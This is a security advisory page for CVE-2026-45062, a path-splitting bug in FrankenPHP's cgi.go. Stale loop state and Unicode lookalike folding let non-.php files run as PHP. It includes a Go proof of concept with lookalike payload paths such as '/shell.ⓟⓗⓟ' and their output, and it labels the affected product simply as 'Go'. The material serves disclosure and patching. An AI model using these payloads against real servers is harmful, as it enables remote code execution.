CONTENTUM.COMA specialist. A plan. A result.

Vulnerabilities · 2026

CVE-2026-45062
Go vulnerability

### Summary The `splitPos()` function in [`cgi.go`](https://github.com/php/frankenphp/blob/main/cgi.go) misuses `golang.org/x/text/search` with `search.IgnoreCase` when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-`.php` file as a `.php` script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw. This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4. ### Details ```go var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) func splitPos(path string, splitPath []string) int { if len(splitPath) == 0 { return 0 } pathLen := len(path) for _, split := range splitPath { splitLen := len(split) for i := 0; i < pathLen; i++ { if path[i] >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break } if i+splitLen > pathLen { continue } match := true for j := 0; j < splitLen; j++ { c := path[i+j] if c >= utf8.RuneSelf { if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 { return end } break // <-- flaw 1: 'match' is still true } if 'A' <= c && c <= 'Z' { c += 'a' - 'A' } if c != split[j] { match = false break } } if match { return i + splitLen } } } return -1 } ``` #### Flaw 1 — Control-flow: stale `match` after inner non-ASCII fallback In the inner `for j` loop, when a byte satisfies `c >= utf8.RuneSelf` and `splitSearchNonASCII.IndexString(...)` returns `-1`, the loop `break`s without setting `match = false`. The outer code then evaluates `if match { return i + splitLen }` with `match` still `true`, returning a position as if `.php` had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named `name.<U+00A1>.txt` gets routed as PHP. #### Flaw 2 — Unicode equivalence: `search.IgnoreCase` folds non-ASCII lookalikes onto ASCII `search.New(language.Und, search.IgnoreCase)` performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII `.`, `p`, `h`, `p`, so a path containing `﹒php`, `.php`, `.php`, `.ⓟⓗⓟ`, `.𝗽𝗵𝗽`, `.𝓅𝒽𝓅`, `.𝖕𝖍𝖕`, etc. is reported as `.php`. Both flaws share the same root cause: invoking `search.IgnoreCase` to match an ASCII-only, validated-lower-case split entry against an arbitrary path. `WithRequestSplitPath` already guarantees every entry is ASCII and lower-cased, so any byte `>= utf8.RuneSelf` in the path can never be part of a legitimate match — but the fallback ignored that guarantee. ### PoC Standalone reproducer (copy `splitPos` from `cgi.go` verbatim, plus the imports): ```go package main import ( "fmt" "unicode/utf8" "golang.org/x/text/language" "golang.org/x/text/search" ) var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase) // ... splitPos copied verbatim from cgi.go ... func main() { split := []string{".php"} payloads := []string{ // flaw 1 "/PoC-match-unset.txt", // expected: -1 "/PoC-match-unset.¡.txt", // expected: -1, actual: 20 // flaw 2 "/shell﹒php", // ﹒ small full stop "/shell.php", // . fullwidth full stop "/shell.php", // p fullwidth p "/shell.php", // h fullwidth h "/shell.ⓟⓗⓟ", // ⓟⓗⓟ circled "/shell.\U0001D5FD\U0001D5F5\U0001D5FD", // 𝗽𝗵𝗽 mathematical sans-serif bold "/shell.\U0001D4C5\U0001D4BD\U0001D4C5", // 𝓅𝒽𝓅 mathematical script "/shell.ⓟⓗⓟ.anything-after-payload.php", } for _, p := range payloads { fmt.Printf("%-50s : %d\n", p, splitPos(p, split)) } } ``` Run `go run poc.go`: ```text /PoC-match-unset.txt : -1 /PoC-match-unset.¡.txt : 20 /shell﹒php : 12 /shell.php : 12 /shell.php : 12 /shell.php : 12 /shell.ⓟⓗⓟ : 16 /shell.𝗽𝗵𝗽 : 19 /shell.𝓅𝒽𝓅

Affected products

Go. The exact versions are in the references.

What to do now

  • Check your exposureFind out whether Go runs anywhere in your environment, including systems of suppliers.
  • UpdateInstall the version in which the vendor fixed the vulnerability. The references lead to the advisory.
  • Limit access until thenIf you cannot update at once, take the system off the internet or restrict who can reach it.

References

Data: CVE list and the NVD. This product uses data from the NVD API but is not endorsed or certified by the NVD.